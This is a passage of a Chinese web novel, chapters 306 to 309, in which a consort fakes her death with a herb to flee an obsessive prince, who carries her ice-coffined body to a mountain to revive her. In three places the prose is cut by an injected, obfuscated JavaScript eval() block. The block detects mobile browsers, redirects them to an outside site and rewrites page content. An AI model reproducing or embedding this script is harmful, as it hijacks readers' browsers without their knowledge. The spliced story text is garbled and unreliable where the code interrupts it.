等崔芝兰看到他时,小邺君的脸色已经恢复了红润,他没有哭闹,只睁着一双清澈如黑葡萄的眼眸,安静地、直勾勾地凝视着她。 崔芝兰心口最柔软的那个地方仿佛被轻轻撞了一下。 心里不由地想,幸好当初姜姝宁没有吃掉那碗她下了落子药的红豆粥。 否则,今日如何能看到如此玉雪可爱的孩子? “侧妃,小世子带来了,奴婢按照王妃的吩咐,把他送到相府吧?”小翠道。 “别送去相府。”她那强壮可爱的婴孩,一字一句地说道,“把他……送到表哥那里去。” “可王妃她……” “别说了,照我说的去做。”崔芝兰看向她,“只有这样,他们之间那段被斩断的缘分,才能重新牵起来。” “是,侧妃。”小翠低声应下,抱着小邺君离开。 第306章 她“病了” 第三百零六章她“病了” 宁王府中,萧怀瑾焦灼地等待着。 自从上一次在景王府跟崔芝兰见了一面之后,他便跟她彻底失去了联系。 直到萧凌川领兵西征,京中防备松懈,他才终于寻得一丝缝隙,将信递了出去。 崔芝兰的回信很简单,只让他今日在府中静候,说有一样“东西”要交给他。 阿齐匆匆来通报:“殿下,小翠姑娘来了!” “快请!” 很快,抱着襁褓的小翠便来到萧怀瑾面前,屈膝行礼:“奴婢见过宁王殿下。” 萧怀瑾目光越过她,直直落在了她怀中的那个襁褓上。 他的呼吸蓦地一滞,仿佛被什么无形的力量攫住了咽喉,艰涩地开口:“这是……” “这是姜姑娘的孩子。”小翠的声音不大,却像一道惊雷,在他耳边轰然炸响。 萧怀瑾整个人都僵住了。 姜姝宁……她竟然真的生下了她和萧凌川的孩子。 那个他曾视为阻隔他们感情的障碍。 襁褓中的婴孩似乎感受到了陌生的气息,黑葡萄似的眼睛睁开,好奇地望向萧怀瑾。 那是一双无比纯净的眼眸,清澈得没有一丝杂质,像极了姜姝宁。 在触及那双眼睛的瞬间,萧怀瑾心中最坚硬的壁垒轰然倒塌,化作一滩柔软的春水。 他几乎是不受控制地伸出手,声音沙哑:“……给我抱抱。” 他的动作有些生疏,却又带着莫名的熟稔。 怀里多了一团温热柔软的小生命,那感觉如此不真实。 荣华比他小上许多,当年荣华还是襁褓的婴孩时,他也是这样,小心翼翼地从母妃手中接过,笨拙地学着哄她。 怀里的孩子不哭不闹,只是安静地看着他。 “这孩子长得真好,”萧怀瑾的指腹轻轻拂过婴儿柔嫩的脸颊,声音低得几乎听不见,“神态像极了姜姑娘。” 可这眉眼间的轮廓,分明带着萧凌川的影子。 一想到此,尖锐的刺痛再次攫住他的心脏。 但看着孩子玉雪可爱的面容,更多的却是翻江倒海般的愧疚。 他想起自己因嫉妒而指使崔芝兰给姜姝宁下落子药。 若是当初崔芝兰真的这么做,那么今日,他就再也见不到这个孩子,见不到这双酷似姜姝宁的眼睛。 他差一点,就亲手扼杀了姜姝宁的亲骨肉。 见他如此喜爱小邺君,小翠暗暗松了口气,继续道:“姜姑娘本意是让侧妃将孩子送到相府。可侧妃说,相府人多眼杂,未必安全。只有放在宁王您这里,才是最稳妥的。将来……将来姜姑娘出府,才能和殿下您,有份牵绊。” 一听到姜姝宁,他原本死寂如古井的眼眸,瞬间泛起了滔天巨浪:“姜姑娘她……当真能出府?” 小翠用力点头,语气肯定:“景王殿下被困西榆,军情紧急,短时间内绝无可能回京。姜姑娘已经用假死的法子,将小邺君送了出来。她打算……用同样的法子为自己脱身。这段时日,就有劳宁王殿下,照顾好小邺君了。” 萧怀瑾抱着孩子的手臂收得更紧了些。 他懂了。 姜姝宁这是在釜底抽薪,她要彻底斩断与萧凌川的一切,换一个全新的身份,重获自由。 “你放心。本王定会照顾好她的孩子。若姜姑娘那边有任何动静,还请表妹务必第一时间通知本王,本王亲自去接应。” “是,殿下!”小翠福了福身,便悄然退下。 萧怀瑾紧紧抱着小邺君,那颗沉寂已久的心,仿佛在无尽的黑暗中跋涉了许久,终于望见了一线天光。 这漫长的等待与煎熬,总算有了回响。 他低头,用脸颊轻轻蹭了蹭婴孩柔软的发顶,声音低沉而郑重,像是在许下誓言。 “你放心,本王会好好照顾你,用我的一切,来弥补当初……想杀你的那个恶念。” 话音刚落,怀里一直安安静静的小家伙,忽然眉心一皱,“哇”的一声,石破天惊地啼哭起来。 哭声响亮,中气十足,瞬间将萧怀瑾从激动的情绪中拽回了现实。 他手忙脚乱地晃着,哄着,可孩子却越哭越凶,白嫩的小脸涨得通红。 “阿齐!”他扬声唤道。 阿齐立刻推门而入:“殿下!” “快!马上去找两个身体康健的乳母来王府!”萧怀瑾看着怀里哭得上气不接下气的小家伙,又心疼又无措,“给君儿喂奶,他定是饿坏了!” “是,王爷!”阿齐领命,转身飞奔而去。 —— 姜姝宁对自己的儿子此刻身在何处,一无所知。 她只当孩子已被崔芝兰妥善送回了相府,在父母的庇护下安然无恙。 这给了她孤注一掷的勇气。 假死是她能想到的,唯一能将自己成功从萧凌川这座牢笼里摘出去的法子。 冒险,却也万无一失。 萧凌川远在西榆,只要她“**”,崔芝兰就能做主,将她迅速“下葬”。 待“往生草”的药效过去,她便能脱身回到相府,带着她的孩子,远走高飞,去一个萧凌川永世都找不到的地方。 而萧凌川也不会因她的离开迁怒其他人,为难她的父母。 姜姝宁躺在床榻上,自嘲地弯了弯唇角。 她比谁都清楚,除了死亡,没有什么能让她从萧凌川身边逃离。 很快,她便“病了”。 起初只是茶饭不思,夜里对着空荡荡的摇篮暗自垂泪。 府里的下人都说,王妃是思念小世子成疾,伤了心神。 渐渐地,她开始缠绵病榻,整个人迅速地消瘦下去,像一朵被风雨摧残得即将凋零的娇花。 她每日都会服下凌芜端来的汤药,但也会在无人注意时,将一小包药粉混入其中。 那是一种带微量毒性的草药,能让人面色蜡黄,气息奄奄,却又不会立刻致命。 府医来看过数次,每次都只能捻着胡须,摇头叹气。 “王妃这是伤心过度,肝气郁结,心病还须心药医啊。” 他开的方子无非是些疏肝理气、安神补血的温和药材,对她身上真正的“病因”毫无用处。 凌芜看着自家主子一日(比)一日虚弱,心急如焚。 她将药碗递到姜姝宁嘴边,眼圈通红:“王妃,您再喝一口吧,求您了!您这样下去,身子怎么受得住?” 姜姝宁虚弱地摇了摇头,嘴唇干裂,声音细若游丝:“我没胃口……拿走吧。” 她说着,便扭过头去,面朝里躺着,露出一截脆弱而苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235804|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的脖颈。 凌芜端着药碗,手足无措地站在床边,眼泪终于忍不住掉了下来。 不行,不能再这样下去了! 孙神医若再不回来,王妃怕是真的要…… 她写了封信,派人八百里加急送到西榆。 信笺上,凌芜的字迹因焦急而显得有些潦草。 “王爷亲启:小世子夭折,王妃日日以泪洗面,思念成疾。如今已卧病在床,汤水不进,日渐消瘦。属下实在担心王妃凤体……” …… 西榆的风,卷着黄沙,吹得营帐猎猎作响。 萧凌川看着手中那张薄薄的信纸,指节捏得发白,手背上青筋暴起。 信上的每一个字,都像一根烧红的铁针,狠狠扎进他的眼里,刺进他的心里。 “汤水不进,日渐消瘦……” 他的脑海里瞬间浮现出姜姝宁那张倔强又苍白的小脸。 她本就瘦,如今又该是怎样一副光景? 那个孩子…… 她向来疼爱孩子,如今亲眼目睹自己的孩子离世,那种心神俱裂的痛楚,简直难以想象。 萧凌川一想到这,心口便如刀绞般疼痛。 “凌风!”他声音里带着压抑不住的暴戾。 凌风立刻掀帘而入,单膝跪地:“王爷!” “今日战况如何?” “回王爷,一切尽在掌握!皇帝和镇国将军那老匹夫做梦也想不到,您早就暗中在西榆囤积了重兵。如今只要等他们倾巢而出,便可一举歼灭!届时,别说这金矿,便是西洲的几座城池,也是我大邺的囊中之物!” 凌风的语气里满是抑制不住的兴奋。 成败在此一战。 一旦功成,不仅能一举拔除镇国将军在西榆盘踞的势力,斩断其与西洲的勾结;更能尽收民心,震慑朝野,让皇城里那位,再不敢对他们景王轻举妄动。 萧凌川深黑的眼眸里却没有半点喜色,只有一片冰冷的焦灼。 他走到凌风面前,亲自将他扶起,一字一句,异常慎重:“世子夭折,王妃病重,本王要立刻带孙神医回京。这里交给你一人应对,你可有信心?” 凌风心中一凛,他从未见过王爷如此神色凝重。 他立刻挺直了背脊,掷地有声:“王爷放心!属下定不辱命!” “好。”萧凌川重重拍了拍他的肩膀,“待此战大胜,本王亲自去跟萧政贤,给你讨个镇西大将军的封号!” 凌风眼眶一热,却大声道:“这些将来再谈!王爷快回京城吧!王妃现在正是最需要您的时候!” 萧凌川点了点头,不再多言,转身大步流星地走出营帐。 快马早已备好,孙神医也背着药箱,一脸凝重地等在旁边。 萧凌川动作利落地翻身上马。 他回头最后看了一眼连绵的营帐,眼中闪过一丝狠厉。 随即,他猛地一夹马腹,厉声喝道:“驾!” 两匹骏马如离弦之箭,卷起漫天尘土,朝着京城的方向,疾奔而去。 风声在耳边呼啸,像极了女人的呜咽。 萧凌川的心,被这风声搅得越来越乱,越来越沉。 姝宁,等我。 不许有事。 你若敢有事,本王便是踏平黄泉,也要将你抓回来! 第307章 前世,她并非自尽,是被人下了毒! 第三百零七章前世,她并非自尽,是被人下了毒! 看到风尘仆仆的萧凌川出现在府里,凌芜惊呆了。 她知道萧凌川得知姜姝宁生病,肯定会尽快赶回来,但没想到竟是那么快。 灰尘覆盖了他的战袍,他那双眼睛却像黑夜里的刀锋,锐利逼人。 “王爷……”她刚开口,便被萧凌川挥手打断:“王妃如何了?” “回王爷,还是缠绵病榻,食不下咽……”凌芜低头,泪水在眼眶打转。 萧凌川脸色铁青,大步走向寝殿。 寝殿里,姜姝宁靠在床头,脸色苍白如纸。 看到萧凌川的那一刻,她差点尖叫出声。 恐惧如潮水涌来,比惊讶更甚。 她才装病几天,他怎么就回来了? 他不是在西榆被敌兵围堵了吗? 消息传来时,她还暗自庆幸他走不开,给了她一个顺利脱身的机会。 “王爷……您怎么回来了?”她勉强挤出声音问。 萧凌川几步跨到床边,将她一把抱进怀里。 他的臂膀如铁钳,紧箍得她几乎喘不过气,仿佛要将她融入骨血。 “本王收到凌芜的急信,便快马加鞭回京,跑**六匹快马。”他的声音低沉,带着风沙的粗粝,“君儿的事……本王听说了,你别太难过,我们还年轻,往后有的是机会要孩子。本王把孙神医也带回来了,你先让他给你把脉!” 听到“孙神医”三个字,姜姝宁头皮一紧,冰凉刺骨。 她之所以能心安理得地诈病,就是因为孙神医不在,其他府医大夫都看不出端倪 现在,一切要露馅了。 她僵硬地靠在他怀里,脑子飞转。 该怎么圆谎? 萧凌川松开怀抱,眼神焦灼,挥手让孙神医上前。 孙神医上前为姜姝宁仔细把脉。 姜姝宁假装镇定,内里却心如擂鼓,砰砰作响。 孙神医把完脉后,眉头微皱,一闪而过。 他没说什么,起身朝萧凌川点头。 “王爷,让王妃先休息,老夫有话想单独对您说。”他的语气平静,却透着分量。 萧凌川拉着姜姝宁的手,安抚道:“姝宁,你安心养病,本王去去就回。” 孙神医领着萧凌川走出寝殿,关上门。 外间小(屋),光线昏暗。 孙神医神色凝重,沉声开口:“王爷,王妃的身子不像是伤心过度导致的肝郁症状,倒像是被下了毒。” 萧凌川一怔,瞳孔缩紧。 “你说什么?”他声音陡然拔高,带着怒火。 孙神医摇头,叹息:“老夫把脉时,察觉王妃的气血不畅,脉象紊乱,非是寻常悲伤所致。似是慢性毒物侵蚀,需仔细查证。” 萧凌川拳头紧握,指节发白。 到底是谁,有这么大的胆子敢给他的王妃下毒? 脑海中不合时宜地浮现出她前世毒发身亡的模样,萧凌川顿时气血翻涌。 他强压怒火,疾步冲回寝殿,径直走到姜姝宁面前,神色阴沉:“孙神医说你中了毒。你说实话,是不是你自己下的?” 姜姝宁心头一紧,他竟已猜到! 她迅速压下慌乱,强作镇定:“王爷何出此言?以为妾身因失子便会寻死?” “不会?”他逼近一步,目光如鹰隼般锁定她,“前世你不就那样做了?因得知本王给你避子药,又误会本王与姜瑶真纠缠不清,便服毒自尽!” 前世那幕重现,他永难忘怀——她唇角带血,绝望地冲他笑,说若有来生,绝不会爱上他…… 那是纠缠了他两世光阴,无法挣脱的梦魇。 姜姝宁嘴角泛起一抹冷笑:“王爷以为,前世妾身是服毒自尽?妾身那么惜命,怎会自尽?分明是有人给妾身下了毒。” “你说什么?不是你自己下的毒?那会是谁?” “那就要问王爷了。”姜姝宁冷声道,“王爷身边仇敌那么多,谁都有可能为了报复王爷,给妾身下毒。” 萧凌川想起前世,她死后他找到孙神医,孙神医告诉他,姜姝宁身上中的是慢性毒,需要日日服用带毒的药物,长年累月才能达到毒发的地步。 若不是她自己服用,那就只有…… “前世本王查出,在落子汤里下毒的,便是你的婢女冬梅,可她当时一口咬定是受你的指使。若不是你,能收买冬梅下毒的,就只能是……姜瑶真。” “我曾也疑心是她。”姜姝宁唇角勾起嘲讽的弧度,“可转念一想便推翻了。前世王爷弃我如敝履,待她如珠如宝,她何需多此一举,来除掉一个对她毫无威胁的我?” 萧凌川的脸色愈发阴沉,声音里带着一丝自己都未察觉的痛楚:“那便是,她看穿了本王的伪装,得知本王心底最在乎的人是你,所以故意为之。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241638|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明只是一句猜测,可不知为何,姜姝宁的心口还是忍不住泛起一阵酸胀。 为何偏偏在她决意抽身时,他总要揭开一角深情来动摇她? 难道就连老天也想帮他将她困在他身边吗? 不,她一定要离开萧凌川,哪怕逆天而行。 否则,前世那些痛苦,岂不是白受了?萧凌川的话将她的思绪拉了回来:“你先安心养病,本王定会揪出那个下毒的人。若真是姜瑶真的手笔,本王不会让她活着!” 姜姝宁垂眸,藏起眼中一闪决绝。 不能再等了,她须尽快服下往生草,斩断这纠缠。 夜深,萧凌川回到寝殿。 他俯身想为姜姝宁掖好被角,指尖触及她露在被外的手,却只感到一片刺骨的冰凉。 他动作猛地一僵,心脏仿佛被一只无形的手攥住,几乎停跳。 颤抖的手指不受控制地探向她的鼻息——那里,一片死寂。 时间在这一刻凝固。 “不……”一声破碎的呢喃从他喉间溢出,随即化为一声撕心裂肺的嘶吼:“孙神医——!快传孙神医!” 巨大的恐惧如潮水般将他吞没。 孙神医匆忙赶到时,看到的是一幅骇人的景象: 萧凌川双目赤红,疯了般俯在床榻上,一边笨拙地给她渡气,一边死死按着她的人中。 可他怀中的人,却像一具没有灵魂的木偶,始终毫无反应。 孙神医连忙上前,手指搭上姜姝宁的脉搏,却没感受到任何生机。 他翻开她的眼睑,瞳孔已然涣散。 他颓然跪倒,神色惨然地摇了摇头:“王爷……节哀。” “节哀”二字,如淬毒的利刃,将萧凌川最后一丝理智彻底斩断。 他缓缓抬头,眼神空洞地看着孙神医,声音沙哑得如同砂纸摩擦:“你说……什么?” 凌芜恰在此时冲了进来,见到这幅场景,当场崩溃,“噗通”一声跪倒,凄厉的哭声响彻整个寝殿。 那哭声仿佛一个开关,彻底引爆了萧凌川。 “不可能!”他像一头被逼入绝境的困兽,一把揪住孙神医的衣领,将他生生拽起,“她只是中了点毒,怎么可能会死!你一定有办法,对不对?施针!用药!把她给本王救回来!” 他咆哮着,眼泪毫无征兆地滚落。 “她若醒不过来,本王要这满府的人,都给她陪葬!” 第308章 他彻底疯了 第三百零八章他彻底疯了 “王爷,人死不能复生,您千万别冲动啊!”孙神医被他眼中的疯狂骇得魂飞魄散,颤声劝道。 这话像是点醒了沉沦在癫狂中的萧凌川。 他松开了孙神医的衣领,缓缓站直了身体,那股撕心裂肺的狂暴气息竟然奇迹般地平息下来。 他双眸猩红,声音平静得诡异:“谁说人死不能复生?本王偏要逆天而行!” “凌芜。” 凌芜浑身一抖,泪眼婆娑地抬起头,满脸都是茫然和恐惧。 “现在,立刻派人给姜天泽送一封急信,”萧凌川的命令清晰而冷酷,“告诉他,本王要带着王妃去南月国!让他务必安排好一切!” 南月国? 可王妃……不是已经…… 凌芜脑中一片混乱,显然无法理解萧凌川的用意。 但对上萧凌川那双猩红的眼眸,她心口一滞,只能将心中的恐惧和疑问深深咽下。 “是……是,王爷,奴婢……奴婢这就去办!” 说完,她跌跌撞撞地冲了出去。 一夜之间,景王府的天,彻底塌了。 王妃“病死”的消息如同一片厚重的乌云,将整座府邸笼罩在一片死气沉沉的阴霾之中。 下人们走路都踮着脚尖,连呼吸都小心翼翼,生怕惊扰了那个已经彻底疯魔的主子。 藏锦阁的崔芝兰听到小翠带回来的消息,震惊得无以复加,就连手里的茶盏都拿不稳,摔在地上碎成几片。 萧凌川不仅快马加鞭回了府,现在,他还要将姜姝宁的“尸首”运走去南月国? 他想干什么! 崔芝兰的脸色瞬间煞白,一股寒意从脚底直冲天灵盖。 她听姜姝宁说过,“往生草”的药效是有时限的,假死状态最多只能维持七日。 七日之后,药效过了,姜姝宁就会苏醒。 若那个时候她的“尸首”还在萧凌川身边,那岂不是当场露馅? 不行,绝对不行! 她得去劝萧凌川,让姜姝宁尽快“下葬”! 崔芝兰心急如焚,提着裙摆就往主院冲。 可她才刚到院门口,就被两名神情冷肃的侍卫拦了下来。 “崔侧妃,王爷有令,任何人不得入内。” “我有要事求见王爷!关乎王妃的身后事!”崔芝兰急切道,声音都带了颤。 侍卫面无表情,像两尊没有感情的石雕:“王爷说了,谁来都没用。崔侧妃请回吧!” 任凭崔芝兰如何哀求,那两名侍卫都寸步不让。 萧凌川根本不给任何人见他的机会。 他将自己和姜姝宁的“尸体”一同锁在了那个冰冷的寝殿里,拒绝与外界的一切接触。 夜,更深了。 王府里没有哀乐,只有一阵阵让人不安的敲凿声,从后院的工坊里断断续续传来,响了整整一夜。 天蒙蒙亮时,一口通体由寒冰打造的棺椁被数名大汉抬进了主院。 冰棺晶莹剔透,寒气四溢,仿佛能将人的灵魂都冻结。 萧凌川亲自打开了棺盖。 他一夜未眠,眼下的青黑和眼底的血丝交织,让他整个人看起来憔悴又阴森。 他对这冰棺相当满意。 南月暑热难当,也唯有这寒玉冰棺,能护住她的身躯,抵御光阴的侵蚀。 他弯下腰,用一种近(乎)膜拜的姿态,极其轻柔地将床榻上早已僵冷的姜姝宁抱了起来,小心翼翼地,将她安放进冰棺之中。 他的动作那么慢,那么专注,仿佛怀里抱着的不是一具尸体,而是稀世珍宝。 第二天,一支怪异的队伍悄无声息地驶出了景王府。 一辆由八匹骏马牵引的巨大马车,车身被厚厚的黑布包裹得严严实实,周围簇拥着一队精锐的侍卫。 萧凌川一身黑衣,骑在马上,亲自护送在马车一侧。 崔芝兰站在藏锦阁的窗边,远远望着那支队伍绝尘而去,只觉得浑身冰冷。 萧凌川疯了。 这个男人已经彻底被执念吞噬。 姜姝宁啊姜姝宁,你到底还是低估了他对你的执念。 他连你的尸首都舍不得放手! —— 连着五日五夜的疾驰,人和马都早已到了极限。 风沙将萧凌川的脸雕刻得如同岩石,嘴唇干裂出血,唯独那双眼睛,像是烧着两簇幽冥鬼火,执拗地盯着前方南月国的疆界。 姜姝宁“死后”的第六日清晨,当南月国边境的哨卡遥遥在望时,一队人马也从对面飞驰而来。 为首的少年郎,一身南月国特有的华贵锦袍,眉眼飞扬,英气逼人。 他远远看见萧凌川的队伍,脸上便扬起了灿烂的笑。 是姜天泽。 他策马奔近,迫不及待的声音在旷野上回响:“大姐姐呢?” 他勒住马,翻身而下,脚步轻快地奔向那辆被黑布包裹的巨大马车,眼里的期待几乎要溢出来。 萧凌川没有说话,只是面无表情地看着他,眼神深不见底,像一口枯井。 侍卫们默默让开一条路。 姜天泽脸上的笑容在掀开黑布,看到那口晶莹剔透的冰棺那一刻,一寸寸凝固。 棺中躺着的女子,面容安详, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241639|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤色苍白得没有一丝血色。 她静静地躺在那里,仿佛只是睡着了。 可那从冰棺里透出的、彻骨的寒意,和她身上那份死寂,却像两只无形的大手,扼住了姜天泽的喉咙。 他脸上的血色瞬间褪尽,整个人僵在原地,瞳孔剧烈收缩。 “不……这不可能……”他喃喃自语,声音抖得不成样子,伸出手,却又不敢去触碰那冰冷的棺壁。 他猛地转头,赤红的眼睛死死瞪着萧凌川,那眼神像是要将他生吞活剥。 “萧凌川,你就是这么照顾大姐姐的?!” 一声嘶吼,撕心裂肺。 姜天泽像是被抽走了所有力气,踉跄着扑到冰棺上,眼泪汹涌而出,滚烫地砸在寒冰上。 “大姐姐……你醒醒啊!天泽来接你了!” 他好不容易才将南月有继位资格的皇子都悄无声息地除掉,成为这南月的唯一储君。 只差一步,他便有了能与萧凌川分庭抗礼的资格。 可她却**! 她**,他做这一切还有什么意义?! 滔天的悲伤化为蚀骨的恨意,姜天泽猛地从地上弹起,拔出腰间的长剑,剑尖直指萧凌川的心口。 “我要杀了你!” 剑气凌厉,带着同归于尽的决绝。 萧凌川眼神一凛,侧身躲过,身形如鬼魅。 他甚至没有拔剑,只用剑鞘便轻松格挡着姜天泽癫狂的攻击。 “铛!铛!铛!” 金石交击之声不绝于耳,不过三两招,萧凌川便寻了个破绽,手腕一翻,剑鞘精准地敲在姜天泽的手腕上。 长剑脱手飞出,插在数步之外的沙地里。 下一瞬,萧凌川自己的佩剑已经出鞘,冰冷的剑尖稳稳地抵在了姜天泽的眉心。 姜天泽眼底没有任何惧色,只有一片死灰。 他甚至主动上前,让那锋利的剑尖刺破了他的皮肤,渗出一缕血珠。 “你杀了我吧,反正我也不想活了!要是**,就能去见大姐姐了!” 萧凌川看着他那副心如死灰的模样,眼中没有半分同情,只有彻骨的冰冷与不耐。 “现在不是听你说这些没用话的时候!”他声音沙哑,却字字如冰,“快!将姝宁送到祁月山,本王要见祁月山的长老!” 姜天泽眉心猛地一跳,难以置信地看着他:“你想做什么?” 萧凌川盯着冰棺里那张恬静的睡颜,眼底的疯狂与执念几乎要化为实质。 他一字一顿,声音不大,却像惊雷炸响在姜天泽耳边。 “自然是……复活本王的王妃!” 第309章 阴魂不散的疯子,为什么还不肯放过她! 第三百零九章 阴魂不散的疯子,为什么还不肯放过她! 南月国自古便流传着一个传说,祁月山上住着一群修为极高的僧人。 他们日夜参禅,据说窥见了六道轮回的奥秘,掌握着逆转阴阳、起死回生的无上法力。 “萧凌川,你疯了?”姜天泽的声音像是从牙缝里挤出来的,带着浓重的讥讽,“那不过是哄骗三岁小儿的传说!这世上哪有什么死而复生的能力?” “那不是传说。”萧凌川的目光越过他,落在冰棺上,神色是一种近(乎)病态的笃定,“本王亲自试过。那里的长老,的确有这个本事。” 姜天泽一脸难以置信地审视着眼前这个男人:“你试过?你什么时候来过南月的祁月山?” 萧凌川身为大邺皇子,即便身负南月血脉,也断无可能在两国关系微妙之时,私自潜入南月腹地。 除非他跟现在一样,不想活了。 萧凌川终于舍得将视线从冰棺上移开,那双漆黑的眸子冷冷地看向姜天泽,吐出几个字。 “上辈子。” 空气仿佛凝固了。 姜天泽看萧凌川的眼神,像在看一个彻底无可救药的疯子。 “萧凌川,看来你是真疯了!”他怒吼道,“你疯你的,我可不奉陪!我要带大姐姐的遗体回去厚葬!” 他话音刚落,一道凌厉的寒光便贴上了他的脖颈。 萧凌川的长剑不知何时已经抵在了他的脖颈,那冰冷的触感,让他浑身的血液都瞬间凉了下去。 “若不是还要依仗你南月太子的身份,在这南月国站稳脚跟,本王还懒得带上你这个累赘!”萧凌川的声音压得很低,却带着不容置喙的命令,“少废话!立刻让你的人即刻动手,把本王的王妃抬上祁月山。否则,本王现在就要了你的命!” 姜天泽的胸口剧烈起伏,屈辱与愤恨交织,几乎要将他的理智烧毁。 可脖颈上那致命的冰冷提醒着他,这个疯子说得出,就做得到。 他明白了,姜姝宁的死对萧凌川的打击太大,这个男人已经彻底疯了。 跟一个疯子,是讲不通道理的。 姜天泽眼底的杀意一闪而过,随即被他强行压下。 他心里飞快地盘算着,罢了,先顺着这个疯子,等到了山上,再寻个合适的机会,亲手了结了他! 他咬着后槽牙,对着自己带来的亲卫命令道:“按照他的话去做!” 命令一下,两方人马便不再对峙。 他们找来粗壮的麻绳,将沉重的冰棺牢牢捆绑固定,然后合力抬起,踏上了通往祁月山的崎岖山路。 山路难行,碎石遍布。 拖拽着冰棺的队伍行进得异常缓慢,沉闷的摩擦声在寂静的山林间回响,像一曲悲凉的挽歌。 姜天泽走在萧凌川身侧,压抑着心头的恨意,冷声问道:“大姐姐……究竟是怎么死的?” “本王西征期间,有人在府中对她下毒。我带着孙神医赶回王府时,已经……来不及了。” 提及此事,萧凌川的呼吸明显一滞,心脏像是被一只无形的手紧紧攥住,钝痛不止。 失去挚爱本就是剜心之痛。 他却要生生承受两次。 姜天泽的拳头猛地攥紧,指甲深深嵌入掌心。 他追问:“可查出是谁下的毒手?” “尚未有确凿证据,但本王已猜到是何人所为。”萧凌川的眼神变得狠戾,像一头伺机而动的孤狼,“无妨,这笔账,本王迟早要跟她连本带利地算清楚!” “到底是谁?你快告诉我!”姜天泽追问道。 萧凌川侧过脸,盯着他,一字一顿地吐出一个名字。 “姜瑶真!” 姜天泽没再说话,那张清俊的面容绷得死紧,下颌线凌厉得像一把出鞘的刀。 滔天的恨意在他心中翻涌,几乎要冲破胸膛。 他要杀了萧凌川,也要杀了姜瑶真! 为他无辜惨死的大姐姐报仇雪恨! 即便大姐姐不是萧凌川亲手所杀,可他没有尽到保护她的责任,他就该死! 该千刀万剐! —— 姜姝宁是在“死后”的第七天醒来的。 刺骨的寒意渗入四肢百骸,意识混沌,身体僵直,仿佛被冻结了一般。 她奋力睁开沉重的眼皮,一道模糊的光线刺入瞳孔。 她看见了流云飞窜的湛蓝天幕,还有两侧飞速倒退的崎岖山石。 自己在移动! 剧烈的晃动和摩擦声从身下传来,她这才惊恐地发现,自己竟被关在一个狭窄透明的冰棺里,被人用粗麻绳绑着,正往山上而去。 怎么回事? 她不是应该被入土为安了吗? 为了让萧凌川那个疯子对她彻底死心,她冒险服下了一整株的“往生草”。 按照她之前的反复试验,一整株往生草配合特定的草药,足以让人脉息全无,假死整整七天。 而君儿,她只用了几片叶子碾碎入药,让他假死半个时辰,骗过凌芜的眼睛。 她算好了一切,却没算到这个男人会疯到如此地步! 他居然不让她下葬,反而抬着她的“尸体”往这荒山野岭跑? 所幸,这冰棺不知在何处被磕碰过,棺盖的边缘裂开了一道缝隙。 正是这道救命的缝隙,透入了稀薄的空气,才不至于让她在假死之后,又真的活活闷死在这冰冷的囚笼里。 队伍最前方的萧凌川,像是感应到了什么,毫无征兆地停下脚步,霍然转身,那双布满血丝的眼睛死死盯住了冰棺。 那一瞬间,姜姝宁的血液几乎凝固。 她立刻闭上了眼睛,将呼吸敛到最微弱的状态,一动不动,宛如一具真正的尸体。 心脏在胸腔里疯狂地擂鼓,每一声都像是催命的钟响。 被发现了吗? 她都“死了”,这个阴魂不散的疯子,为什么还不肯放过她! 时间仿佛被拉长,萧凌川那道如有实质的目光,像两把锋利的冰锥,几乎要穿透厚厚的冰层,将她钉死在原地。 良久,他才缓缓收回视线,眼底的微光黯淡下去,只剩下死寂的灰。 是错觉吗? 他竟以为她还活着。 他自嘲地扯了扯嘴角,终是转过身,继续麻木地向上攀登。 终于抵达山顶,冰棺被安放在一个山洞的石台上,四周的脚步声逐渐远去,直至彻底消失,姜姝宁才敢小心翼翼地睁开一条眼缝。 山洞里空无一人,只有她和这口冰冷的棺材。 她哆哆嗦嗦地推开沉重的棺盖,刺骨的寒气扑面而来。 她手脚并用地爬了出来,刚一站稳,双腿便是一软,狼狈地跌坐在地。 身体因为长时间的冰冻和药效而虚弱不堪,四肢百骸都泛着酸软的痛意。 这里是哪里? 萧凌川带她的“尸体”来这山顶上,究竟想做什么? 山洞外,萧凌川径直走向不远处另一个更为隐蔽的洞口。 姜天泽紧随其后,满眼警惕。 洞口站着一个身穿灰色僧袍的年轻僧人,神色淡然,双手合十。 萧凌川熟门熟路地上前,声音沙哑:“还请小师父带我去见观月长老。” 年轻僧人声音平淡如水:“观月长老正在闭关,暂时不见外人。” “我不是外人。”萧凌川的声音里透着一股不容置喙的笃定,“我前世曾让他帮我复活一人,他应当还记得。你只需替我通报一声,他自然会见我。” “前世”二字一出,姜天泽的瞳孔猛地一缩。 这疯子,当真是疯得不轻! 连这种鬼话都说得出口! 